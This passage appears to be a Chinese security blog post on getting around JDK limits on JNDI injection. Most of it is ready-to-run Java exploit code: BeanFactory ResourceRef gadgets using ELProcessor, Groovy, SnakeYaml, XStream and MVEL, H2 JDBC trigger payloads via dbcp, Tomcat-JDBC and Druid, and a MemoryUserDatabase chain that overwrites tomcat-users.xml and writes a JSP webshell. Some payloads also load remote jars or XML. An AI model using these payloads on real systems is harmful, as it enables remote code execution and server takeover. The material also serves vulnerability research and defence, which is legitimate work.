					// 跳过特殊属性名
					if (!propName.equals("factory") && !propName.equals("scope") && !propName.equals("auth") && !propName.equals("forceString") && !propName.equals("singleton")) {
					    // 获取属性值
						String value = (String)ra.getContent();
						Object[] valueArray = new Object[1];
						// 通过属性名获取setter
						Method method = (Method)forced.get(propName);
						if (method != null) {
							valueArray[0] = value;
 
							try {
							    // 调用setter设置属性值
								method.invoke(bean, valueArray);
							} catch (IllegalArgumentException | InvocationTargetException | IllegalAccessException var23) {
								throw new NamingException("Forced String setter " + method.getName() + " threw exception for property " + propName);
							}
	// ...
}

从这里我们可以知道,如果一个类拥有无参构造方法,且还有一个方法参数为String,并且此String经我们控制,可以造成任意代码执行的,那么我们就能结合BeanFactory绕过JNDI注入的限制。

而这样的类,在Tomcat中有一个,即javax.el.ELProcessor,拥有无参构造方法,还有一个接受String的eval方法,通过传入的表达式,还能造成任意代码执行,是完美的对象。

现在我们来看看如何构造,参考上面的,首先必须是一个ResourceRef,然后通过设置forceString我们固定调用方法为eval,再添加RefAddr指定参数即可;构造如下:

Registry registry = LocateRegistry.createRegistry(1099);  
ResourceRef ref = new ResourceRef("javax.el.ELProcessor", null,  
        null, null, true,  
        "org.apache.naming.factory.BeanFactory", null);  
// 注意等号后面是setter名、前面是属性名,属性名需要避开factory、scope、auth、forceString、singleton  
ref.add(new StringRefAddr("forceString", "expr=eval"));  
ref.add(new StringRefAddr("expr", "\"\".getClass().forName(\"javax.script.ScriptEngineManager\").newInstance().getEngineByName('js').eval('new java.util.Scanner(java.lang.Runtime.getRuntime().exec(\"touch /tmp/jndi_bypass\").getInputStream()).useDelimiter(\"\\\\A\").next();')"));  
ReferenceWrapper referenceWrapper = new ReferenceWrapper(ref);  
registry.bind("Test", referenceWrapper);

构造ResourceRef需要对照其构造方法:

800

这里我们实际只需要传入对应的beanClass也就是参数中的resourceClass了和对应的Factory,这个参数会被传递给Reference构造方法。

然后我们试一下:new InitialContext().lookup("rmi://127.0.0.1/Test");,发现成功执行命令:

400

Tomcat-Groovy绕过方式

这里实际上来说使用groovy.lang.GroovyShell#evaluate会更好,不过这个的利用就和上面差不多了,没有写的必要了。

根据上面的BeanFactory绕过方式,我们其实要求比较明确:

  1. 拥有无参构造方法
  2. 可以通过一个String参数的方法进而RCE

那么这样的类理论上是应该不止ELProcessor的;而GroovyClassLoader就是一个,通过官方文档我们能够知道,GroovyClassLoader提供了一个parseClass(String)的方法,用于将传入的groovy类解析为一个Class对象返回;同时它还拥有一个无参构造方法。

但是这个的利用还是稍微有点不同,需要知道的是Groovy类被解析为Class对象时,其内部的static块不会被调用,因此我们需要一种编译时运行的技术,而Groovy为我们很贴心地提供了AST检测,即@ASTTest,它允许我们在编译时执行代码对AST进行验证,自然,我们也可以通过它执行任意代码了:

@groovy.transform.ASTTest(value = {
    java.lang.Runtime.getRuntime().exec("touch /tmp/jndi_bypass_groovy")
})
class Test{}

那么构造如下:

ResourceRef ref = new ResourceRef("groovy.lang.GroovyClassLoader", null,  
        null, null, true,  
        "org.apache.naming.factory.BeanFactory", null);  
ref.add(new StringRefAddr("forceString", "script=parseClass"));  
ref.add(new StringRefAddr("script", "@groovy.transform.ASTTest(value = {\n" +  
        "    java.lang.Runtime.getRuntime().exec(\"touch /tmp/jndi_bypass_groovy\")\n" +  
        "})\n" +  
        "class Test{}"));  
Registry registry = LocateRegistry.createRegistry(1099);  
ReferenceWrapper referenceWrapper = new ReferenceWrapper(ref);  
registry.bind("Test", referenceWrapper);

测试一下:new InitialContext().lookup("rmi://127.0.0.1/Test");,成功执行:

400

从BeanFactory的扩展

上面的Tomcat-ELProcessor绕过方式Tomcat-Groovy绕过方式实际上都是依赖于tomcat依赖中的BeanFactory,而能打的条件我们也说了,那么还有没有其他能利用的类呢?

事实上通过Codeql可以帮助我们进行挖掘,而浅蓝师傅已经发出了一些绕过的方式:

MLet

javax.management.loading.MLet是JDK自带的,它继承于URLClassLoader,并且拥有一个addURL(String)loadClass(String)方法,也就相当于使用URLClassLoader去加载类了;不过ClassLoader#loadClass实际上无法触发静态块代码,因此实际无法RCE。

但是可以用来做探测,如果loadClass成功了,则会进行后续的执行,否则抛出异常,中断过程,利用这个就可以做gadget的探测了:

private static ResourceRef tomcatMLet() {
    ResourceRef ref = new ResourceRef("javax.management.loading.MLet", null, "", "",
            true, "org.apache.naming.factory.BeanFactory", null);
    ref.add(new StringRefAddr("forceString", "a=loadClass,b=addURL,c=loadClass"));
    ref.add(new StringRefAddr("a", "javax.el.ELProcessor"));
    ref.add(new StringRefAddr("b", "http://127.0.0.1:2333/"));
    ref.add(new StringRefAddr("c", "Blue"));
    return ref;
}

只要通过观察远程访问的记录,即可确定是否存在类。

SnakeYaml

从SnakeYaml反序列化漏洞分析中我们其实能很好的发现它满足了一切要求:

  1. Yaml类拥有无参构造方法
  2. load方法传入一个String,造成SnakeYaml反序列化漏洞的利用
private static ResourceRef tomcat_snakeyaml(){
    ResourceRef ref = new ResourceRef("org.yaml.snakeyaml.Yaml", null, "", "",
            true, "org.apache.naming.factory.BeanFactory", null);
    String yaml = "!!javax.script.ScriptEngineManager [\n" +
            "  !!java.net.URLClassLoader [[\n" +
            "    !!java.net.URL [\"http://127.0.0.1:8888/exp.jar\"]\n" +
            "  ]]\n" +
            "]";
    ref.add(new StringRefAddr("forceString", "a=load"));
    ref.add(new StringRefAddr("a", yaml));
    return ref;
}

XStream

我们再推广一下,会发现XStream的反序列化也符合:

private static ResourceRef tomcat_xstream(){
    ResourceRef ref = new ResourceRef("com.thoughtworks.xstream.XStream", null, "", "",
            true, "org.apache.naming.factory.BeanFactory", null);
    String xml = "<java.util.PriorityQueue serialization='custom'>\n" +
            "  <unserializable-parents/>\n" +
            "  <java.util.PriorityQueue>\n" +
            "    <default>\n" +
            "      <size>2</size>\n" +
            "    </default>\n" +
            "    <int>3</int>\n" +
            "    <dynamic-proxy>\n" +
            "      <interface>java.lang.Comparable</interface>\n" +
            "      <handler class='sun.tracing.NullProvider'>\n" +
            "        <active>true</active>\n" +
            "        <providerType>java.lang.Comparable</providerType>\n" +
            "        <probes>\n" +
            "          <entry>\n" +
            "            <method>\n" +
            "              <class>java.lang.Comparable</class>\n" +
            "              <name>compareTo</name>\n" +
            "              <parameter-types>\n" +
            "                <class>java.lang.Object</class>\n" +
            "              </parameter-types>\n" +
            "            </method>\n" +
            "            <sun.tracing.dtrace.DTraceProbe>\n" +
            "              <proxy class='java.lang.Runtime'/>\n" +
            "              <implementing__method>\n" +
            "                <class>java.lang.Runtime</class>\n" +
            "                <name>exec</name>\n" +
            "                <parameter-types>\n" +
            "                  <class>java.lang.String</class>\n" +
            "                </parameter-types>\n" +
            "              </implementing__method>\n" +
            "            </sun.tracing.dtrace.DTraceProbe>\n" +
            "          </entry>\n" +
            "        </probes>\n" +
            "      </handler>\n" +
            "    </dynamic-proxy>\n" +
            "    <string>/System/Applications/Calculator.app/Contents/MacOS/Calculator</string>\n" +
            "  </java.util.PriorityQueue>\n" +
            "</java.util.PriorityQueue>";
    ref.add(new StringRefAddr("forceString", "a=fromXML"));
    ref.add(new StringRefAddr("a", xml));
    return ref;
}

MVEL

除了类似SnakeYaml、XStream这种入口就符合条件的,还有一些不太符合条件的;例如MVEL,构造方法为私有的,不过可以通过org.mvel2.sh.ShellSession#exec(String)去调用MVEL#eval

private static ResourceRef tomcat_MVEL(){
    ResourceRef ref = new ResourceRef("org.mvel2.sh.ShellSession", null, "", "",
            true, "org.apache.naming.factory.BeanFactory", null);
    ref.add(new StringRefAddr("forceString", "a=exec"));
    ref.add(new StringRefAddr("a",
            "push Runtime.getRuntime().exec('/System/Applications/Calculator.app/Contents/MacOS/Calculator');"));
    return ref;
}

这是因为在push时,会通过MVEL.eval(args[0], session.getCtxObject(), session.getVariables())执行表达式。

NativeLibLoader

这个配合上传可以加载我们的动态库,从而RCE:

private static ResourceRef tomcat_loadLibrary(){
    ResourceRef ref = new ResourceRef("com.sun.glass.utils.NativeLibLoader", null, "", "",
            true, "org.apache.naming.factory.BeanFactory", null);
    ref.add(new StringRefAddr("forceString", "a=loadLibrary"));
    ref.add(new StringRefAddr("a", "/../../../../../../../../../../../../tmp/libcmd"));
    return ref;
}

从工厂类扩展

MemoryUserDatabaseFactory

这是另一个Tomcat的工厂类,看它的方法:

1200

这里会有一个database.open()方法,而这个方法会根据pathname转换成URI并发起请求,并使用commons-digester解析返回的XML内容,因此这里实际上可以实现一个XXE:

private static ResourceRef tomcatMemoryXXE() {
	ResourceRef ref = new ResourceRef("org.apache.catalina.UserDatabase", null, "", "", true, "org.apache.catalina.users.MemoryUserDatabaseFactory", null);
	ref.add(new StringRefAddr("pathname", "http://127.0.0.1:8888/exp.xml"));
}

但是如何RCE呢?在解析XML前有这么一段代码:

digester.addFactoryCreate("tomcat-users/group", new MemoryGroupCreationFactory(this), true);
digester.addFactoryCreate("tomcat-users/role", new MemoryRoleCreationFactory(this), true);
digester.addFactoryCreate("tomcat-users/user", new MemoryUserCreationFactory(this), true);

这里会根据xml解析的结果去进行数据填充,在数据库open后,还会判断readonly然后保存。

这里的分析详情就直接见MemoryUserDatabase RCE吧。

有一定的限制,通用的办法是通过这里去覆盖Tomcat的配置或者写jsp文件:

private static ResourceRef tomcatMkdirFrist() {
    ResourceRef ref = new ResourceRef("org.h2.store.fs.FileUtils", null, "", "",
            true, "org.apache.naming.factory.BeanFactory", null);
    ref.add(new StringRefAddr("forceString", "a=createDirectory"));
    ref.add(new StringRefAddr("a", "../http:"));
    return ref;
}
private static ResourceRef tomcatMkdirLast() {
    ResourceRef ref = new ResourceRef("org.h2.store.fs.FileUtils", null, "", "",
            true, "org.apache.naming.factory.BeanFactory", null);
    ref.add(new StringRefAddr("forceString", "a=createDirectory"));
    ref.add(new StringRefAddr("a", "../http:/127.0.0.1:8888"));
    return ref;
}
private static ResourceRef tomcatManagerAdd() {
    ResourceRef ref = new ResourceRef("org.apache.catalina.UserDatabase", null, "", "",
            true, "org.apache.catalina.users.MemoryUserDatabaseFactory", null);
    ref.add(new StringRefAddr("pathname", "http://127.0.0.1:8888/../../conf/tomcat-users.xml"));
    ref.add(new StringRefAddr("readonly", "false"));
    return ref;
}
 

这里需要依次创建文件夹,然后返回的xml其实就是tomcat的tomcat-users.xml

在上面的基础上写Webshell:

private static ResourceRef tomcatWriteFile() {
    ResourceRef ref = new ResourceRef("org.apache.catalina.UserDatabase", null, "", "",
            true, "org.apache.catalina.users.MemoryUserDatabaseFactory", null);
    ref.add(new StringRefAddr("pathname", "http://127.0.0.1:8888/../../webapps/ROOT/test.jsp"));
    ref.add(new StringRefAddr("readonly", "false"));
    return ref;
}

准备的xml(当然在这里应该让test.jsp返回这个xml):

<?xml version="1.0" encoding="UTF-8"?>
<tomcat-users xmlns="http://tomcat.apache.org/xml"
              xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
              xsi:schemaLocation="http://tomcat.apache.org/xml tomcat-users.xsd"
              version="1.0">
  <role rolename="&#x3c;%Runtime.getRuntime().exec(&#x22;/System/Applications/Calculator.app/Contents/MacOS/Calculator&#x22;); %&#x3e;"/>
</tomcat-users>

dbcp

还可以将思路再打开一点,我们可以通过Datasource工厂,来创建对应的JDBC连接。

例如dbcp,在工厂类中,进入 org.apache.tomcat.dbcp.dbcp2.BasicDataSourceFactory#configureDataSource方法最后一段代码写了当 InitialSize > 0 的时候会调用 getLogWriter 方法,那么在这里就会创建数据库连接:

public PrintWriter getLogWriter() throws SQLException {
    return this.createDataSource().getLogWriter();
}

给出四种不同的工厂类:

private static Reference tomcat_dbcp2_RCE(){
    return dbcpByFactory("org.apache.tomcat.dbcp.dbcp2.BasicDataSourceFactory");
}
private static Reference tomcat_dbcp1_RCE(){
    return dbcpByFactory("org.apache.tomcat.dbcp.dbcp.BasicDataSourceFactory");
}
private static Reference commons_dbcp2_RCE(){
    return dbcpByFactory("org.apache.commons.dbcp2.BasicDataSourceFactory");
}
private static Reference commons_dbcp1_RCE(){
    return dbcpByFactory("org.apache.commons.dbcp.BasicDataSourceFactory");
}
private static Reference dbcpByFactory(String factory){
    Reference ref = new Reference("javax.sql.DataSource",factory,null);
    String JDBC_URL = "jdbc:h2:mem:test;MODE=MSSQLServer;init=CREATE TRIGGER shell3 BEFORE SELECT ON\n" +
            "INFORMATION_SCHEMA.TABLES AS $$//javascript\n" +
            "java.lang.Runtime.getRuntime().exec('/System/Applications/Calculator.app/Contents/MacOS/Calculator')\n" +
            "$$\n";
    ref.add(new StringRefAddr("driverClassName","org.h2.Driver"));
    ref.add(new StringRefAddr("url",JDBC_URL));
    ref.add(new StringRefAddr("username","root"));
    ref.add(new StringRefAddr("password","password"));
    ref.add(new StringRefAddr("initialSize","1"));
    return ref;
}

这样就转换成了JDBC。

Tomcat-JDBC

如果没有dbcp呢?其实还有org.apache.tomcat.jdbc.pool.DataSourceFactory,这个的利用也是差不多的:

private static Reference tomcat_JDBC_RCE(){
    return dbcpByFactory("org.apache.tomcat.jdbc.pool.DataSourceFactory");
}
private static Reference dbcpByFactory(String factory){
    Reference ref = new Reference("javax.sql.DataSource",factory,null);
    String JDBC_URL = "jdbc:h2:mem:test;MODE=MSSQLServer;init=CREATE TRIGGER shell3 BEFORE SELECT ON\n" +
            "INFORMATION_SCHEMA.TABLES AS $$//javascript\n" +
            "java.lang.Runtime.getRuntime().exec('/System/Applications/Calculator.app/Contents/MacOS/Calculator')\n" +
            "$$\n";
    ref.add(new StringRefAddr("driverClassName","org.h2.Driver"));
    ref.add(new StringRefAddr("url",JDBC_URL));
    ref.add(new StringRefAddr("username","root"));
    ref.add(new StringRefAddr("password","password"));
    ref.add(new StringRefAddr("initialSize","1"));
    return ref;
}

Druid

当然了,使用Druid也是一样的:

private static Reference druid(){
    Reference ref = new Reference("javax.sql.DataSource","com.alibaba.druid.pool.DruidDataSourceFactory",null);
    String JDBC_URL = "jdbc:h2:mem:test;MODE=MSSQLServer;init=CREATE TRIGGER shell3 BEFORE SELECT ON\n" +
            "INFORMATION_SCHEMA.TABLES AS $$//javascript\n" +
            "java.lang.Runtime.getRuntime().exec('/System/Applications/Calculator.app/Contents/MacOS/Calculator')\n" +
            "$$\n";
    String JDBC_USER = "root";
    String JDBC_PASSWORD = "password";
 
    ref.add(new StringRefAddr("driverClassName","org.h2.Driver"));
    ref.add(new StringRefAddr("url",JDBC_URL));
    ref.add(new StringRefAddr("username",JDBC_USER));
    ref.add(new StringRefAddr("password",JDBC_PASSWORD));
    ref.add(new StringRefAddr("initialSize","1"));
    ref.add(new StringRefAddr("init","true"));
    return ref;
}

LDAP javaSerializedData绕过

这个其实没什么好讲的,就是反序列化攻击的方向,搭建LDAP服务,返回的属性中添加javaSerializedData为序列化数据,然后就会反序列化了,核心还是链子的构造问题。